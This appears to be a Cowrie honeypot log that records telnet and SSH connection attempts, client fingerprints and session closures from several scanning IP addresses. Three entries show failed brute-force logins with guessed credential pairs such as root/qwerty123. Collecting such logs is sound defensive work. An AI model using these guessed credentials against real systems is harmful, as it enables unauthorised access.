{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:41.489447Z","src_ip":"176.65.139.103","session":"87667c8a1bcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:41.555446Z","src_ip":"176.65.139.103","session":"87667c8a1bcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:42.011463Z","src_ip":"176.65.139.103","session":"87667c8a1bcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.617729902267456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:42.107517Z","src_ip":"5.189.178.126","session":"b7b4807a3632","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":38346,"dst_ip":"10.17.0.5","dst_port":23,"session":"db29c6944a33","protocol":"telnet","message":"New connection: 94.23.163.94:38346 (10.17.0.5:23) [session: db29c6944a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:42.826055Z"}
{"eventid":"cowrie.session.closed","duration":30.68716549873352,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:43.055463Z","src_ip":"5.189.169.71","session":"a7aa3b9150a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.829277515411377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:43.075886Z","src_ip":"5.189.169.71","session":"55a6abc38191","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:43.108958Z","src_ip":"176.65.139.103","session":"87667c8a1bcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":60786,"dst_ip":"10.17.0.5","dst_port":23,"session":"f78f34f26d56","protocol":"telnet","message":"New connection: 94.23.163.94:60786 (10.17.0.5:23) [session: f78f34f26d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:43.320257Z"}
{"eventid":"cowrie.session.closed","duration":30.672962427139282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:44.049805Z","src_ip":"5.189.169.71","session":"5647ea3e0555","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80009388923645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:44.252672Z","src_ip":"155.117.234.131","session":"d2e9016322a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46786117553711,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:44.309589Z","src_ip":"94.23.163.94","session":"fa9b04848d23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":53348,"dst_ip":"10.17.0.5","dst_port":23,"session":"502646f8fe29","protocol":"telnet","message":"New connection: 213.136.75.179:53348 (10.17.0.5:23) [session: 502646f8fe29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:44.771683Z"}
{"eventid":"cowrie.session.closed","duration":31.1107177734375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:44.984169Z","src_ip":"94.23.163.94","session":"1ac1db42df89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.773274183273315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:45.061375Z","src_ip":"5.189.169.71","session":"870080e8dd9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44217538833618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:45.066272Z","src_ip":"94.23.163.94","session":"76bd1ffec827","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":46712,"dst_ip":"10.17.0.5","dst_port":23,"session":"50f4a9c1d22a","protocol":"telnet","message":"New connection: 5.189.169.71:46712 (10.17.0.5:23) [session: 50f4a9c1d22a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:45.101932Z"}
{"eventid":"cowrie.session.closed","duration":30.343165397644043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:45.144503Z","src_ip":"5.189.169.71","session":"9af4c059f411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.733492374420166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:45.841382Z","src_ip":"5.189.169.71","session":"1c2bfe8f157a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":55129,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ab01eff0d7f","protocol":"ssh","message":"New connection: 74.87.117.149:55129 (10.17.0.5:22) [session: 4ab01eff0d7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:45.968472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:45.973145Z","src_ip":"74.87.117.149","session":"4ab01eff0d7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:45.997108Z","src_ip":"74.87.117.149","session":"4ab01eff0d7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.504252195358276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:46.124922Z","src_ip":"213.136.75.179","session":"c55c5833cd59","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user2","password":"987654321","message":"login attempt [user2/987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:46.136020Z","src_ip":"74.87.117.149","session":"4ab01eff0d7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.002672910690308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:46.192005Z","src_ip":"94.23.163.94","session":"776c2a869c73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":46728,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdf64e25cff1","protocol":"telnet","message":"New connection: 5.189.169.71:46728 (10.17.0.5:23) [session: fdf64e25cff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:46.293840Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":53000,"dst_ip":"159.203.135.109","dst_port":23,"session":"de13d3da9ccc","protocol":"telnet","message":"New connection: 23.254.167.244:53000 (159.203.135.109:23) [session: de13d3da9ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:46.357198Z"}
{"eventid":"cowrie.session.closed","duration":31.895186185836792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:46.676762Z","src_ip":"23.254.167.244","session":"a81102eebb9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":46736,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f414af68894","protocol":"telnet","message":"New connection: 5.189.169.71:46736 (10.17.0.5:23) [session: 6f414af68894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:47.109575Z"}
{"eventid":"cowrie.session.closed","duration":30.552093267440796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:47.124117Z","src_ip":"5.189.169.71","session":"da5c061e3b71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:47.162097Z","src_ip":"74.87.117.149","session":"4ab01eff0d7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":60800,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b87c37812f4","protocol":"telnet","message":"New connection: 94.23.163.94:60800 (10.17.0.5:23) [session: 4b87c37812f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:47.167166Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":46746,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fa7d35b339c","protocol":"telnet","message":"New connection: 5.189.169.71:46746 (10.17.0.5:23) [session: 6fa7d35b339c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:47.174972Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":53352,"dst_ip":"10.17.0.5","dst_port":23,"session":"621c8c21515f","protocol":"telnet","message":"New connection: 213.136.75.179:53352 (10.17.0.5:23) [session: 621c8c21515f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:47.375385Z"}
{"eventid":"cowrie.session.closed","duration":31.179921865463257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:47.409913Z","src_ip":"94.23.163.94","session":"f6393f101406","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":46752,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c452580dce4","protocol":"telnet","message":"New connection: 5.189.169.71:46752 (10.17.0.5:23) [session: 9c452580dce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:47.422158Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":53368,"dst_ip":"10.17.0.5","dst_port":23,"session":"557d4d153fbf","protocol":"telnet","message":"New connection: 213.136.75.179:53368 (10.17.0.5:23) [session: 557d4d153fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:47.447271Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58186,"dst_ip":"10.17.0.5","dst_port":23,"session":"09f773a5f19d","protocol":"telnet","message":"New connection: 213.136.75.179:58186 (10.17.0.5:23) [session: 09f773a5f19d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:48.114185Z"}
{"eventid":"cowrie.session.closed","duration":30.46909236907959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:48.204041Z","src_ip":"5.189.169.71","session":"49b83f994fe9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":41480,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6efc76da931","protocol":"telnet","message":"New connection: 5.189.169.71:41480 (10.17.0.5:23) [session: d6efc76da931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:48.334022Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":41486,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e5703795a1b","protocol":"telnet","message":"New connection: 5.189.169.71:41486 (10.17.0.5:23) [session: 0e5703795a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:48.639019Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55182,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ccbae8fbdaa","protocol":"ssh","message":"New connection: 176.65.139.103:55182 (10.17.0.5:22) [session: 9ccbae8fbdaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:48.931246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:48.938996Z","src_ip":"176.65.139.103","session":"9ccbae8fbdaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:49.016307Z","src_ip":"176.65.139.103","session":"9ccbae8fbdaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":41496,"dst_ip":"10.17.0.5","dst_port":23,"session":"524c6efba927","protocol":"telnet","message":"New connection: 5.189.169.71:41496 (10.17.0.5:23) [session: 524c6efba927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:49.380526Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:49.469504Z","src_ip":"176.65.139.103","session":"9ccbae8fbdaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":60804,"dst_ip":"10.17.0.5","dst_port":23,"session":"e18b676bf3c8","protocol":"telnet","message":"New connection: 94.23.163.94:60804 (10.17.0.5:23) [session: e18b676bf3c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:49.802658Z"}
{"eventid":"cowrie.session.closed","duration":31.119549989700317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:50.081333Z","src_ip":"5.189.169.71","session":"b40c5abdcd5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":60810,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcdcf5df243e","protocol":"telnet","message":"New connection: 94.23.163.94:60810 (10.17.0.5:23) [session: fcdcf5df243e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:50.131182Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":60818,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7e39e7db0fc","protocol":"telnet","message":"New connection: 94.23.163.94:60818 (10.17.0.5:23) [session: e7e39e7db0fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:50.194635Z"}
{"eventid":"cowrie.session.closed","duration":31.284782648086548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:50.273163Z","src_ip":"5.189.169.71","session":"1d19836c11c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:50.556502Z","src_ip":"176.65.139.103","session":"9ccbae8fbdaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58196,"dst_ip":"10.17.0.5","dst_port":23,"session":"86978c70f967","protocol":"telnet","message":"New connection: 213.136.75.179:58196 (10.17.0.5:23) [session: 86978c70f967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:50.562415Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58210,"dst_ip":"10.17.0.5","dst_port":23,"session":"940dbea39a73","protocol":"telnet","message":"New connection: 213.136.75.179:58210 (10.17.0.5:23) [session: 940dbea39a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:50.566192Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":60826,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bbd1c3941aa","protocol":"telnet","message":"New connection: 94.23.163.94:60826 (10.17.0.5:23) [session: 7bbd1c3941aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:50.684187Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58220,"dst_ip":"10.17.0.5","dst_port":23,"session":"35b920bbcb3a","protocol":"telnet","message":"New connection: 213.136.75.179:58220 (10.17.0.5:23) [session: 35b920bbcb3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:50.708212Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58222,"dst_ip":"10.17.0.5","dst_port":23,"session":"977f82794e36","protocol":"telnet","message":"New connection: 213.136.75.179:58222 (10.17.0.5:23) [session: 977f82794e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:50.736610Z"}
{"eventid":"cowrie.session.closed","duration":30.653780937194824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:51.056186Z","src_ip":"94.23.163.94","session":"300c80ab4702","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.646802186965942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:51.083434Z","src_ip":"5.189.169.71","session":"3b4beef3fafb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854361057281494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:51.112416Z","src_ip":"5.189.169.71","session":"d031a1582c2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58234,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5600622833d","protocol":"telnet","message":"New connection: 213.136.75.179:58234 (10.17.0.5:23) [session: c5600622833d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:51.134538Z"}
{"eventid":"cowrie.session.closed","duration":30.72723627090454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:51.137864Z","src_ip":"5.189.178.126","session":"ee820027f1da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58250,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dae3bca6cdc","protocol":"telnet","message":"New connection: 213.136.75.179:58250 (10.17.0.5:23) [session: 1dae3bca6cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:51.150904Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58252,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b26bc752bde","protocol":"telnet","message":"New connection: 213.136.75.179:58252 (10.17.0.5:23) [session: 8b26bc752bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:51.220424Z"}
{"eventid":"cowrie.session.closed","duration":31.31320095062256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:51.319004Z","src_ip":"213.136.75.179","session":"fe139ae0ef3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":53898,"dst_ip":"10.17.0.5","dst_port":23,"session":"a71a50a72827","protocol":"telnet","message":"New connection: 155.117.234.131:53898 (10.17.0.5:23) [session: a71a50a72827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:51.393779Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58264,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e1b6425bf42","protocol":"telnet","message":"New connection: 213.136.75.179:58264 (10.17.0.5:23) [session: 9e1b6425bf42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:51.738803Z"}
